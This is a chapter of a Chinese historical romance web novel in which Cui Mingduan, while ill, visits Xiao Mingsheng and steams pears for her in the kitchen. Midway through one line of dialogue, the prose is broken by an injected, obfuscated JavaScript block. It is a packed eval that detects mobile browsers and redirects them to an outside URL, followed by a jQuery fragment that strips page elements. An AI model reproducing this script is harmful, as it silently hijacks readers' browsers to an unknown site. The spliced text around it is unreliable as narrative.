“我就说了，病了还巴巴出门做什么？想吃橘子，让阿藤来取，我又不是不给。” 崔明端抿了个淡笑，如实道；“底下人不知心意，反而误了事。” “能误什么事？” 她不满咕哝着，就是不敢与他直视。 崔明端握着她冰凉的手不曾放开，“家里有护具么？怎没用上？” “用了……我又不是你……” “是……” 崔明端利落认错，“出门前，特意让阿藤寻的帽子。也换了更厚实的披风……” “为何不坐马车来？光帽子和披风能顶什么用……” “是……” “大人惯会敷衍我的！” 崔明端当真是冤的。坐马车来，得将小半时辰花在路上。骑马，不过是一刻钟。 不过，这微末心思，他无颜说出，只将外头的变故告知她，“吉安府的案子，或是要有大变故了。” “便是吉安府的案子再要紧，值当大人带病来么？” 萧鸣笙是越听越气，崔大人怎么就这样温吞，年纪不大，像只千年老龟似的。 她抱怨，他甘之如饴，也含笑听着。光是案子，自然不来。 他是念着梅花坞这一缕药香了。 “大人几时回？”萧鸣笙瞧着外头的天色，也无奈。现炖一盅梨汤，要不少时辰。 “城门关闭前回去便可。” 二人的默契便在此刻，他颇是不舍，要放开她的手，“你说，我来做。” “哼……我要炖只大笨羊，大人去捉羊么？” 说炖羊，也骂他。 可她独独漏算了一事，自己就是属羊的，崔家六郎神思一转，反而是笑得热烈，“捉着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13519238|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 手心滚烫，捉着了羊，自是不能放开。 萧鸣笙仗着站立的优势，学着他揉小团子虎头帽的手法，好一顿揉搓，闷声道：“我不是西北的羊！” “嗯。” “大人可看仔细了！” “嗯。” “罢了……” 怎能罢了？ 崔明端也不知她忧虑何事，握着她的手，将当下心意告知她，“自三岁开蒙，我便在学堂，或是随天子在上书房。也只占了探花郎的皮相与名头，不曾去看满城的花……” 大抵是养了几日的猫，手指头是不安分的，下意识摩挲着手心的美玉。 萧鸣笙原是怕痒的人，再被这么一挠，险些站不稳。“潦草，不在……”也别摸她手呀！ 崔明端不好说他来此，还未想起潦草。“家里有梨么？我给你炖梨汤吃。” 梨，自然是有的。只是，崔家六郎会炖梨汤么？ 萧鸣笙持怀疑态度，也想看他出糗。 拿了两个冬梨给他，也不说步骤。 崔明端显然是会做的——也别管是不是现学的。 已经取了罐子的盐，将冬梨的外皮搓洗干净，再用清水一冲。 预留出梨盖的大小，切开，再用刀掏空梨芯。 手法，还算利落。 萧鸣笙凑着看了半晌，也疑惑：“大人常做？” “第一回。不过之前刻过印章，觉着是一样的。” “……” 好极了，这个大梨子，何德何能！萧鸣笙默默去取了川贝粉、花椒和冰糖来，“我听大人咳嗽不重，更多是干咳，似是风寒之症，不知可对？” 崔明端只恨手里拿着两个梨，否则就算是逾矩，也该将人搂怀里揉一揉。 “啊？那是风热么？那用花椒炖梨吧。” “是风寒。” 原是他说要炖梨汤给她吃，不想她心中也记着他。得了便宜的人，便开始翘着狐狸尾巴，“臣，喜不自胜，让郡主见笑了。” “……” 好的，她就不该多此一举。让这位新厨自己发挥便是。 萧鸣笙坐着往灶膛里添柴火，说起了今日荀家那道黄金马脚，“柴姐姐特意带了厨子过来，让我尝尝，若是合适，也放在茶楼里卖一卖。” “嗯，郡主觉着如何？” “若要颜色好看些，呈金黄色，才应了黄金马脚的名。若要酥脆好吃，炸老一点，便有些黑乎乎的……不过用了粗糖和黑芝麻，当真是香得很。大人吃过么？” 荀二郎家出来的东西，崔明端也吃过，怕小团子吃多了，他便多吃了两个。 崔明端往挖空的梨肚添了川贝粉，也加了一样数量的冰糖，再盖上刚才切下的梨盖。 对着这两个普普通通的蒸梨，他目光虔诚。 炖起来，最快也要半个时辰。 崔明端便在灶房里，与她一同烧火，等着梨汤出锅。 灶前暖和，可惜小板凳坐得难受，萧鸣笙坐着坐着，下意识往旁边的大暖垫一靠。 “父亲又传了封家书来，说是耿大人在牢里也染了风寒。” 崔明端想将方才未完的话说出，怎知她困倦，人已倒来，当即便将人吓清醒了。